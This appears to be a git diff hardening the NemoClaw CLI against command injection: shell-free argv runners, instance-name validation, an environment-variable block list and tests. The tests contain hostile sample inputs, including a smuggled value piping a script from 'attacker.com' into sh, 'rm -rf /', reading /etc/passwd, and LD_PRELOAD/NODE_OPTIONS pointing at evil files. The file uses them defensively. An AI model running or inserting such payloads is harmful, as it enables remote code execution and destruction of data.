diff --git a/bin/lib/deploy.js b/bin/lib/deploy.js new file mode 100644 index 000000000..44ff81f0d --- /dev/null +++ b/bin/lib/deploy.js @@ -0,0 +1,92 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 +// +// Deploy helpers — input validation and shell-free command builders. +// +// SSH/rsync/scp use runArgv() (argv arrays, no shell) to eliminate command +// injection at the root cause. shellQuote() is retained for call sites that +// still need run() (e.g. brev CLI with shell features). + +const { runArgv } = require("./runner"); + +const INSTANCE_NAME_RE = /^[a-zA-Z0-9][a-zA-Z0-9._-]*$/; + +/** + * Validate that name is a safe instance/hostname string. + * @param {string} name - Instance name to validate. + * @throws {Error} If name is invalid, non-string, or too long. + */ +function validateInstanceName(name) { + if (!name || typeof name !== "string" || name.length > 253 || !INSTANCE_NAME_RE.test(name)) { + throw new Error( + `Invalid instance name: ${JSON.stringify(String(name).slice(0, 40))}. ` + + "Must be a string, 1-253 chars, start with alphanumeric, and contain only [a-zA-Z0-9._-]." + ); + } +} + +const SSH_OPTS = ["-o", "StrictHostKeyChecking=accept-new", "-o", "LogLevel=ERROR"]; + +/** @param remoteCmd — executed by the remote shell. Use only constant strings + * or values wrapped in shellQuote(). Never interpolate unsanitized input. */ +function runSsh(host, remoteCmd, opts = {}) { + validateInstanceName(host); + const args = [...SSH_OPTS]; + if (opts.tty) args.unshift("-t"); + args.push(host); + if (remoteCmd) args.push(remoteCmd); + return runArgv("ssh", args, opts); +} + +/** + * Copy a file to a remote host via scp using argv arrays (no shell). + * @param {string} src - Local source path. + * @param {string} destHostPath - Remote destination in host:path format. + * @param {object} [opts] - Options forwarded to runArgv. + */ +function runScp(src, destHostPath, opts = {}) { + const [host] = destHostPath.split(":"); + validateInstanceName(host); + const args = ["-q", ...SSH_OPTS, src, destHostPath]; + return runArgv("scp", args, opts); +} + +/** + * Sync files to a remote host via rsync using argv arrays (no shell). + * @param {string[]} sources - Local paths to sync. + * @param {string} host - Remote hostname (must pass validateInstanceName). + * @param {string} dest - Remote destination directory. + * @param {object} [opts] - Options forwarded to runArgv. + */ +function runRsync(sources, host, dest, opts = {}) { + validateInstanceName(host); + const args = [ + "-az", "--delete", + "--exclude", "node_modules", + "--exclude", ".git", + "--exclude", "src", + "-e", "ssh " + SSH_OPTS.join(" "), + ...sources, + `${host}:${dest}`, + ]; + return runArgv("rsync", args, opts); +} + +/** + * Wrap a string in POSIX single quotes, escaping embedded quotes. + * @param {string} s - Value to quote. + * @returns {string} Shell-safe single-quoted string. + */ +function shellQuote(s) { + return "'" + s.replace(/'/g, "'\\''") + "'"; +} + +module.exports = { + INSTANCE_NAME_RE, + validateInstanceName, + runSsh, + runScp, + runRsync, + shellQuote, + SSH_OPTS, +}; diff --git a/bin/lib/onboard.js b/bin/lib/onboard.js index 8e0f0396f..dded94695 100644 --- a/bin/lib/onboard.js +++ b/bin/lib/onboard.js @@ -16,12 +16,14 @@ const EXPERIMENTAL = process.env.NEMOCLAW_EXPERIMENTAL === "1"; // ── Helpers ────────────────────────────────────────────────────── +/** Print a numbered step banner to the console. */ function step(n, total, msg) { console.log(""); console.log(` [${n}/${total}] ${msg}`); console.log(` ${"─".repeat(50)}`); } +/** Return true if `docker info` succeeds (Docker daemon is reachable). */ function isDockerRunning() { try { runCapture("docker info", { ignoreError: false }); @@ -31,6 +33,7 @@ function isDockerRunning() { } } +/** Return true if the `openshell` CLI is on PATH. */ function isOpenshellInstalled() { try { runCapture("command -v openshell"); @@ -40,6 +43,7 @@ function isOpenshellInstalled() { } } +/** Attempt to install the openshell CLI; returns true on success. */ function installOpenshell() { console.log(" Installing openshell CLI..."); run(`bash "${path.join(SCRIPTS, "install-openshell.sh")}"`, { ignoreError: true }); @@ -48,6 +52,7 @@ function installOpenshell() { // ── Step 1: Preflight ──────────────────────────────────────────── +/** Step 1: run preflight checks (Docker, openshell, cgroup, GPU). */ async function preflight() { step(1, 7, "Preflight checks"); @@ -106,6 +111,7 @@ async function preflight() { // ── Step 2: Gateway ────────────────────────────────────────────── +/** Step 2: destroy any previous gateway and start a fresh one. */ async function startGateway(gpu) { step(2, 7, "Starting OpenShell gateway"); @@ -152,6 +158,7 @@ async function startGateway(gpu) { // ── Step 3: Sandbox ────────────────────────────────────────────── +/** Step 3: prompt for a name, build the image, and create the sandbox. */ async function createSandbox(gpu) { step(3, 7, "Creating sandbox"); @@ -232,6 +239,7 @@ async function createSandbox(gpu) { // ── Step 4: NIM ────────────────────────────────────────────────── +/** Step 4: detect or prompt for an inference provider (NIM/Ollama/vLLM/cloud). */ async function setupNim(sandboxName, gpu) { step(4, 7, "Configuring inference (NIM)"); @@ -365,6 +373,7 @@ async function setupNim(sandboxName, gpu) { // ── Step 5: Inference provider ─────────────────────────────────── +/** Step 5: register the chosen inference provider with openshell. */ async function setupInference(sandboxName, model, provider) { step(5, 7, "Setting up inference provider"); @@ -414,6 +423,7 @@ async function setupInference(sandboxName, model, provider) { // ── Step 6: OpenClaw ───────────────────────────────────────────── +/** Step 6: mark OpenClaw as launched inside the sandbox. */ async function setupOpenclaw(sandboxName) { step(6, 7, "Setting up OpenClaw inside sandbox"); @@ -427,6 +437,7 @@ async function setupOpenclaw(sandboxName) { // ── Step 7: Policy presets ─────────────────────────────────────── +/** Step 7: offer and apply policy presets (pypi, npm, Telegram, etc.). */ async function setupPolicies(sandboxName) { step(7, 7, "Policy presets"); @@ -484,6 +495,7 @@ async function setupPolicies(sandboxName) { // ── Dashboard ──────────────────────────────────────────────────── +/** Print a summary dashboard with sandbox, model, and NIM status. */ function printDashboard(sandboxName, model, provider) { const nimStat = nim.nimStatus(sandboxName); const nimLabel = nimStat.running ? "running" : "not running"; @@ -508,6 +520,7 @@ function printDashboard(sandboxName, model, provider) { // ── Main ───────────────────────────────────────────────────────── +/** Run the full 7-step interactive onboarding wizard. */ async function onboard() { console.log(""); console.log(" NemoClaw Onboarding"); diff --git a/bin/lib/runner.js b/bin/lib/runner.js index 3614dc80d..829826447 100644 --- a/bin/lib/runner.js +++ b/bin/lib/runner.js @@ -23,6 +23,7 @@ if (!process.env.DOCKER_HOST) { } } +/** Execute a shell command via `bash -c`; exits the process on failure unless opts.ignoreError is set. */ function run(cmd, opts = {}) { const result = spawnSync("bash", ["-c", cmd], { stdio: "inherit", @@ -37,6 +38,80 @@ function run(cmd, opts = {}) { return result; } +// Env vars that must never be overridden by callers — they enable code +// execution, library injection, or trust-store hijacking in subprocesses. +const BLOCKED_ENV_VARS = new Set([ + "PATH", + "LD_PRELOAD", "LD_LIBRARY_PATH", "DYLD_INSERT_LIBRARIES", + "NODE_OPTIONS", "BASH_ENV", "ENV", + "GIT_SSH_COMMAND", "SSH_AUTH_SOCK", + "DOCKER_HOST", "KUBECONFIG", + "HTTP_PROXY", "HTTPS_PROXY", "ALL_PROXY", + "CURL_CA_BUNDLE", "SSL_CERT_FILE", "NODE_EXTRA_CA_CERTS", +]); + +/** + * Validate caller-supplied env vars against a blocklist of dangerous keys. + * Throws if any blocked key is present; returns a shallow copy otherwise. + * @param {object} [callerEnv] - Env overrides from the caller. + * @returns {object} Sanitized env entries safe to merge with process.env. + */ +function sanitizeEnv(callerEnv) { + if (!callerEnv) return {}; + const blocked = Object.keys(callerEnv).filter((k) => BLOCKED_ENV_VARS.has(k)); + if (blocked.length > 0) { + throw new Error(`runArgv() does not allow overriding: ${blocked.join(", ")}`); + } + return { ...callerEnv }; +} + +/** + * Shell-free alternative to run(). Executes prog with an argv array via + * spawnSync(prog, args) — no bash, no string interpolation, no injection. + * Use this for any command that includes user-controlled values. + */ +function runArgv(prog, args, opts = {}) { + const { env, ...spawnOpts } = opts; + const result = spawnSync(prog, args, { + stdio: "inherit", + ...spawnOpts, + cwd: ROOT, + env: { ...process.env, ...sanitizeEnv(env) }, + shell: false, + }); + if (result.status !== 0 && !opts.ignoreError) { + console.error(` Command failed (exit ${result.status}): ${prog} ${args.join(" ").slice(0, 60)}`); + process.exit(result.status || 1); + } + return result; +} + +/** + * Shell-free alternative to runCapture(). Uses execFileSync(prog, args) + * with no shell. Returns trimmed stdout. + */ +function runCaptureArgv(prog, args, opts = {}) { + const { env, encoding, stdio, ...execOpts } = opts; + if (encoding !== undefined || stdio !== undefined) { + throw new Error("runCaptureArgv() does not allow overriding encoding or stdio"); + } + const { execFileSync } = require("child_process"); + try { + return execFileSync(prog, args, { + ...execOpts, + cwd: ROOT, + env: { ...process.env, ...sanitizeEnv(env) }, + encoding: "utf-8", + stdio: ["pipe", "pipe", "pipe"], + shell: false, + }).trim(); + } catch (err) { + if (opts.ignoreError) return ""; + throw err; + } +} + +/** Execute a shell command and return its trimmed stdout; returns "" on failure if opts.ignoreError is set. */ function runCapture(cmd, opts = {}) { try { return execSync(cmd, { @@ -52,4 +127,4 @@ function runCapture(cmd, opts = {}) { } } -module.exports = { ROOT, SCRIPTS, run, runCapture }; +module.exports = { ROOT, SCRIPTS, run, runCapture, runArgv, runCaptureArgv }; diff --git a/bin/nemoclaw.js b/bin/nemoclaw.js index 07bb3d5b5..dd9792263 100755 --- a/bin/nemoclaw.js +++ b/bin/nemoclaw.js @@ -7,7 +7,7 @@ const path = require("path"); const fs = require("fs"); const os = require("os"); -const { ROOT, SCRIPTS, run, runCapture } = require("./lib/runner"); +const { ROOT, SCRIPTS, run, runCapture, runArgv } = require("./lib/runner"); const { ensureApiKey, ensureGithubToken, @@ -17,6 +17,7 @@ const { const registry = require("./lib/registry"); const nim = require("./lib/nim"); const policies = require("./lib/policies"); +const { validateInstanceName, runSsh, runScp, runRsync, shellQuote } = require("./lib/deploy"); // ── Global commands ────────────────────────────────────────────── @@ -28,11 +29,13 @@ const GLOBAL_COMMANDS = new Set([ // ── Commands ───────────────────────────────────────────────────── +/** Launch the interactive onboarding wizard. */ async function onboard() { const { onboard: runOnboard } = require("./lib/onboard"); await runOnboard(); } +/** Run the deprecated legacy setup.sh (advises user to use onboard instead). */ async function setup() { console.log(""); console.log(" ⚠ `nemoclaw setup` is deprecated. Use `nemoclaw onboard` instead."); @@ -42,11 +45,13 @@ async function setup() { run(`bash "${SCRIPTS}/setup.sh"`); } +/** Run the DGX Spark setup script (fixes cgroup v2 + Docker config). */ async function setupSpark() { await ensureApiKey(); run(`sudo -E NVIDIA_API_KEY="${process.env.NVIDIA_API_KEY}" bash "${SCRIPTS}/setup-spark.sh"`); } +/** Deploy NemoClaw to a remote Brev VM: provision, sync, configure, and connect. */ async function deploy(instanceName) { if (!instanceName) { console.error(" Usage: nemoclaw deploy "); @@ -62,6 +67,7 @@ async function deploy(instanceName) { await ensureGithubToken(); } const name = instanceName; + validateInstanceName(name); const gpu = process.env.NEMOCLAW_GPU || "a2-highgpu-1g:nvidia-tesla-a100:1"; console.log(""); @@ -83,17 +89,18 @@ async function deploy(instanceName) { if (!exists) { console.log(` Creating Brev instance '${name}' (${gpu})...`); - run(`brev create ${name} --gpu "${gpu}"`); + runArgv("brev", ["create", name, "--gpu", gpu]); } else { console.log(` Brev instance '${name}' already exists.`); } - run(`brev refresh`, { ignoreError: true }); + runArgv("brev", ["refresh"], { ignoreError: true }); console.log(" Waiting for SSH..."); + const { execFileSync } = require("child_process"); for (let i = 0; i < 60; i++) { try { - execSync(`ssh -o ConnectTimeout=5 -o StrictHostKeyChecking=no ${name} 'echo ok' 2>/dev/null`, { encoding: "utf-8", stdio: "pipe" }); + execFileSync("ssh", ["-o", "ConnectTimeout=5", "-o", "StrictHostKeyChecking=accept-new", name, "echo ok"], { encoding: "utf-8", stdio: "pipe" }); break; } catch { if (i === 59) { @@ -105,42 +112,53 @@ async function deploy(instanceName) { } console.log(" Syncing NemoClaw to VM..."); - run(`ssh -o StrictHostKeyChecking=no -o LogLevel=ERROR ${name} 'mkdir -p /home/ubuntu/nemoclaw'`); - run(`rsync -az --delete --exclude node_modules --exclude .git --exclude src -e "ssh -o StrictHostKeyChecking=no -o LogLevel=ERROR" "${ROOT}/scripts" "${ROOT}/Dockerfile" "${ROOT}/nemoclaw" "${ROOT}/nemoclaw-blueprint" "${ROOT}/bin" "${ROOT}/package.json" ${name}:/home/ubuntu/nemoclaw/`); - - const envLines = [`NVIDIA_API_KEY=${process.env.NVIDIA_API_KEY}`]; + runSsh(name, "mkdir -p /home/ubuntu/nemoclaw"); + runRsync( + [`${ROOT}/scripts`, `${ROOT}/Dockerfile`, `${ROOT}/nemoclaw`, `${ROOT}/nemoclaw-blueprint`, `${ROOT}/bin`, `${ROOT}/package.json`], + name, + "/home/ubuntu/nemoclaw/" + ); + + const envLines = [`NVIDIA_API_KEY=${shellQuote(process.env.NVIDIA_API_KEY)}`]; const ghToken = process.env.GITHUB_TOKEN; - if (ghToken) envLines.push(`GITHUB_TOKEN=${ghToken}`); + if (ghToken) envLines.push(`GITHUB_TOKEN=${shellQuote(ghToken)}`); const tgToken = getCredential("TELEGRAM_BOT_TOKEN"); - if (tgToken) envLines.push(`TELEGRAM_BOT_TOKEN=${tgToken}`); + if (tgToken) envLines.push(`TELEGRAM_BOT_TOKEN=${shellQuote(tgToken)}`); const envTmp = path.join(os.tmpdir(), `nemoclaw-env-${Date.now()}`); fs.writeFileSync(envTmp, envLines.join("\n") + "\n", { mode: 0o600 }); - run(`scp -q -o StrictHostKeyChecking=no -o LogLevel=ERROR "${envTmp}" ${name}:/home/ubuntu/nemoclaw/.env`); + const scpResult = runScp(envTmp, `${name}:/home/ubuntu/nemoclaw/.env`, { ignoreError: true }); fs.unlinkSync(envTmp); + if (scpResult.status !== 0) { + console.error(` Failed to copy .env to ${name}`); + process.exit(scpResult.status || 1); + } console.log(" Running setup..."); - run(`ssh -t -o StrictHostKeyChecking=no -o LogLevel=ERROR ${name} 'cd /home/ubuntu/nemoclaw && set -a && . .env && set +a && bash scripts/brev-setup.sh'`); + runSsh(name, "cd /home/ubuntu/nemoclaw && set -a && . .env && set +a && bash scripts/brev-setup.sh", { tty: true }); if (tgToken) { console.log(" Starting services..."); - run(`ssh -o StrictHostKeyChecking=no -o LogLevel=ERROR ${name} 'cd /home/ubuntu/nemoclaw && set -a && . .env && set +a && bash scripts/start-services.sh'`); + runSsh(name, "cd /home/ubuntu/nemoclaw && set -a && . .env && set +a && bash scripts/start-services.sh"); } console.log(""); console.log(" Connecting to sandbox..."); console.log(""); - run(`ssh -t -o StrictHostKeyChecking=no -o LogLevel=ERROR ${name} 'cd /home/ubuntu/nemoclaw && set -a && . .env && set +a && openshell sandbox connect nemoclaw'`); + runSsh(name, "cd /home/ubuntu/nemoclaw && set -a && . .env && set +a && openshell sandbox connect nemoclaw", { tty: true }); } +/** Start background services (Telegram bot, tunnel, etc.). */ async function start() { await ensureApiKey(); run(`bash "${SCRIPTS}/start-services.sh"`); } +/** Stop all running NemoClaw services. */ function stop() { run(`bash "${SCRIPTS}/start-services.sh" --stop`); } +/** Display sandbox registry and service status. */ function showStatus() { // Show sandbox registry const { sandboxes, defaultSandbox } = registry.listSandboxes(); @@ -159,6 +177,7 @@ function showStatus() { run(`bash "${SCRIPTS}/start-services.sh" --status`); } +/** List all registered sandboxes with their model, provider, and policy info. */ function listSandboxes() { const { sandboxes, defaultSandbox } = registry.listSandboxes(); if (sandboxes.length === 0) { @@ -186,12 +205,15 @@ function listSandboxes() { // ── Sandbox-scoped actions ─────────────────────────────────────── +/** Ensure port-forward is alive and open an interactive shell in the sandbox. */ function sandboxConnect(sandboxName) { // Ensure port forward is alive before connecting - run(`openshell forward start --background 18789 "${sandboxName}" 2>/dev/null || true`, { ignoreError: true }); - run(`openshell sandbox connect "${sandboxName}"`); + run(`openshell forward start --background 18789 ${shellQuote(sandboxName)} 2>/dev/null || true`, { ignoreError: true }); + run(`openshell sandbox connect ${shellQuote(sandboxName)}`); + } +/** Show detailed status for a single sandbox (registry + openshell + NIM health). */ function sandboxStatus(sandboxName) { const sb = registry.getSandbox(sandboxName); if (sb) { @@ -204,7 +226,7 @@ function sandboxStatus(sandboxName) { } // openshell info - run(`openshell sandbox get "${sandboxName}" 2>/dev/null || true`, { ignoreError: true }); + run(`openshell sandbox get ${shellQuote(sandboxName)} 2>/dev/null || true`, { ignoreError: true }); // NIM health const nimStat = nim.nimStatus(sandboxName); @@ -215,11 +237,13 @@ function sandboxStatus(sandboxName) { console.log(""); } +/** Stream or display sandbox logs, optionally following in real time. */ function sandboxLogs(sandboxName, follow) { const followFlag = follow ? " --follow" : ""; - run(`openshell sandbox logs "${sandboxName}"${followFlag}`); + run(`openshell sandbox logs ${shellQuote(sandboxName)}${followFlag}`); } +/** Interactively select and apply a policy preset to a sandbox. */ async function sandboxPolicyAdd(sandboxName) { const allPresets = policies.listPresets(); const applied = policies.getAppliedPresets(sandboxName); @@ -242,6 +266,7 @@ async function sandboxPolicyAdd(sandboxName) { policies.applyPreset(sandboxName, answer); } +/** List all available policy presets and mark which are applied to the sandbox. */ function sandboxPolicyList(sandboxName) { const allPresets = policies.listPresets(); const applied = policies.getAppliedPresets(sandboxName); @@ -255,12 +280,13 @@ function sandboxPolicyList(sandboxName) { console.log(""); } +/** Stop NIM, delete the sandbox, and remove it from the registry. */ function sandboxDestroy(sandboxName) { console.log(` Stopping NIM for '${sandboxName}'...`); nim.stopNimContainer(sandboxName); console.log(` Deleting sandbox '${sandboxName}'...`); - run(`openshell sandbox delete "${sandboxName}" 2>/dev/null || true`, { ignoreError: true }); + run(`openshell sandbox delete ${shellQuote(sandboxName)} 2>/dev/null || true`, { ignoreError: true }); registry.removeSandbox(sandboxName); console.log(` ✓ Sandbox '${sandboxName}' destroyed`); @@ -268,6 +294,7 @@ function sandboxDestroy(sandboxName) { // ── Help ───────────────────────────────────────────────────────── +/** Print CLI usage information. */ function help() { console.log(` nemoclaw — NemoClaw CLI diff --git a/test/deploy.test.js b/test/deploy.test.js new file mode 100644 index 000000000..47c8640d4 --- /dev/null +++ b/test/deploy.test.js @@ -0,0 +1,214 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +const { describe, it } = require("node:test"); +const assert = require("node:assert/strict"); + +const { + validateInstanceName, + shellQuote, + SSH_OPTS, +} = require("../bin/lib/deploy"); + +const { runArgv, runCaptureArgv } = require("../bin/lib/runner"); + +describe("deploy helpers", () => { + describe("validateInstanceName", () => { + it("accepts valid names", () => { + for (const name of ["my-box", "prod.server", "test_01", "a", "A1-b.c_d"]) { + assert.doesNotThrow(() => validateInstanceName(name)); + } + }); + + it("rejects names starting with hyphen", () => { + assert.throws(() => validateInstanceName("-bad"), /Invalid instance name/); + }); + + it("rejects shell injection", () => { + assert.throws(() => validateInstanceName("foo;rm -rf /"), /Invalid instance name/); + }); + + it("rejects command substitution", () => { + assert.throws(() => validateInstanceName("$(whoami)"), /Invalid instance name/); + }); + + it("rejects empty string", () => { + assert.throws(() => validateInstanceName(""), /Invalid instance name/); + }); + + it("rejects names with spaces", () => { + assert.throws(() => validateInstanceName("foo bar"), /Invalid instance name/); + }); + + it("rejects backtick command substitution", () => { + assert.throws(() => validateInstanceName("`whoami`"), /Invalid instance name/); + }); + + it("rejects pipe", () => { + assert.throws(() => validateInstanceName("foo|bar"), /Invalid instance name/); + }); + + it("rejects names starting with dot", () => { + assert.throws(() => validateInstanceName(".hidden"), /Invalid instance name/); + }); + + it("rejects names longer than 253 characters", () => { + assert.throws(() => validateInstanceName("a".repeat(254)), /Invalid instance name/); + }); + + it("accepts names at the 253 character limit", () => { + assert.doesNotThrow(() => validateInstanceName("a".repeat(253))); + }); + + it("rejects non-string types", () => { + assert.throws(() => validateInstanceName(42), /Invalid instance name/); + assert.throws(() => validateInstanceName({ toString: () => "valid" }), /Invalid instance name/); + }); + }); + + describe("shellQuote", () => { + it("wraps in single quotes", () => { + assert.equal(shellQuote("hello"), "'hello'"); + }); + + it("escapes embedded single quotes", () => { + assert.equal(shellQuote("it's"), "'it'\\''s'"); + }); + }); + + describe("SSH_OPTS", () => { + it("uses StrictHostKeyChecking=accept-new (TOFU)", () => { + assert.ok(SSH_OPTS.includes("StrictHostKeyChecking=accept-new")); + }); + + it("does not contain StrictHostKeyChecking=no", () => { + assert.ok(!SSH_OPTS.some((o) => o.includes("StrictHostKeyChecking=no"))); + }); + }); + + // ── Injection PoC ────────────────────────────────────────────── + // Prove that argv arrays (spawnSync without shell) treat shell + // metacharacters as literal text. These are the 5 injection methods + // that bash -c would execute but argv arrays do not. + + describe("argv injection proof-of-concept", () => { + it("$() subshell is literal, not expanded", () => { + const out = runCaptureArgv("echo", ["$(echo PWNED)"]); + assert.equal(out, "$(echo PWNED)"); + }); + + it("backtick substitution is literal, not executed", () => { + const out = runCaptureArgv("echo", ["`echo HACKED`"]); + assert.equal(out, "`echo HACKED`"); + }); + + it("semicolon chaining is literal, not split", () => { + const out = runCaptureArgv("echo", ["hello; echo INJECTED"]); + assert.equal(out, "hello; echo INJECTED"); + }); + + it("pipe is literal, not interpreted", () => { + const out = runCaptureArgv("echo", ["data | cat /etc/passwd"]); + assert.equal(out, "data | cat /etc/passwd"); + }); + + it("&& chaining is literal, not executed", () => { + const out = runCaptureArgv("echo", ["ok && echo PWNED"]); + assert.equal(out, "ok && echo PWNED"); + }); + }); + + describe("runCaptureArgv", () => { + it("captures stdout without shell interpretation", () => { + const out = runCaptureArgv("echo", ["hello", "world"]); + assert.equal(out, "hello world"); + }); + + it("returns empty string on failure with ignoreError", () => { + const out = runCaptureArgv("false", [], { ignoreError: true }); + assert.equal(out, ""); + }); + + it("passes $() literally through argv", () => { + const out = runCaptureArgv("echo", ["$(whoami)"]); + assert.equal(out, "$(whoami)"); + }); + }); + + describe("runSsh", () => { + // We can't call runSsh directly (it calls runArgv which exits on failure), + // but we can verify the SSH_OPTS constants and the argv construction pattern + + it("SSH_OPTS contains accept-new and LogLevel=ERROR", () => { + assert.deepEqual(SSH_OPTS, [ + "-o", "StrictHostKeyChecking=accept-new", + "-o", "LogLevel=ERROR", + ]); + }); + + it("SSH_OPTS does not contain StrictHostKeyChecking=no", () => { + const joined = SSH_OPTS.join(" "); + assert.ok(!joined.includes("StrictHostKeyChecking=no")); + }); + }); + + describe("runArgv security properties", () => { + it("passes sandbox names with hyphens literally", () => { + const out = runCaptureArgv("echo", ["my-assistant"]); + assert.equal(out, "my-assistant"); + }); + + it("passes GPU specs with colons literally", () => { + const out = runCaptureArgv("echo", ["a2-highgpu-1g:nvidia-tesla-a100:1"]); + assert.equal(out, "a2-highgpu-1g:nvidia-tesla-a100:1"); + }); + + it("prevents NEMOCLAW_GPU injection via brev create", () => { + const maliciousGpu = 'a100"; curl attacker.com/shell.sh|sh; echo "'; + const out = runCaptureArgv("echo", ["--gpu", maliciousGpu]); + assert.equal(out, `--gpu ${maliciousGpu}`); + }); + + it("passes file paths with spaces literally", () => { + const out = runCaptureArgv("echo", ["/path/with spaces/file.txt"]); + assert.equal(out, "/path/with spaces/file.txt"); + }); + + it("passes environment variable syntax literally", () => { + const out = runCaptureArgv("echo", ["NVIDIA_API_KEY=${SECRET}"]); + assert.equal(out, "NVIDIA_API_KEY=${SECRET}"); + }); + + it("shell: true in opts cannot override the lock", () => { + const out = runCaptureArgv("echo", ["$(echo PWNED)"], { shell: true }); + assert.equal(out, "$(echo PWNED)"); + }); + + it("cwd in opts cannot override ROOT", () => { + const out = runCaptureArgv("pwd", []); + const outWithCwd = runCaptureArgv("pwd", [], { cwd: "/tmp" }); + assert.equal(out, outWithCwd); + }); + + it("LD_PRELOAD in caller env throws", () => { + assert.throws( + () => runCaptureArgv("echo", ["x"], { env: { LD_PRELOAD: "/tmp/evil.so" } }), + /does not allow overriding: LD_PRELOAD/ + ); + }); + + it("NODE_OPTIONS in caller env throws", () => { + assert.throws( + () => runCaptureArgv("echo", ["x"], { env: { NODE_OPTIONS: "--require=/tmp/evil.js" } }), + /does not allow overriding: NODE_OPTIONS/ + ); + }); + + it("safe caller env vars pass through", () => { + const out = runCaptureArgv("printenv", ["MY_CUSTOM_VAR"], { + env: { MY_CUSTOM_VAR: "hello" }, + }); + assert.equal(out, "hello"); + }); + }); +}); diff --git a/test/preflight.test.js b/test/preflight.test.js index 1700c284f..756e8c9b3 100644 --- a/test/preflight.test.js +++ b/test/preflight.test.js @@ -10,6 +10,7 @@ const path = require("path"); const { isCgroupV2, readDaemonJson, checkCgroupConfig } = require("../bin/lib/preflight"); // Helper: create a temp daemon.json with given content and return its path. +/** Create a temporary daemon.json with the given content and return its path. */ function writeTempDaemon(content) { const dir = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-preflight-")); const p = path.join(dir, "daemon.json");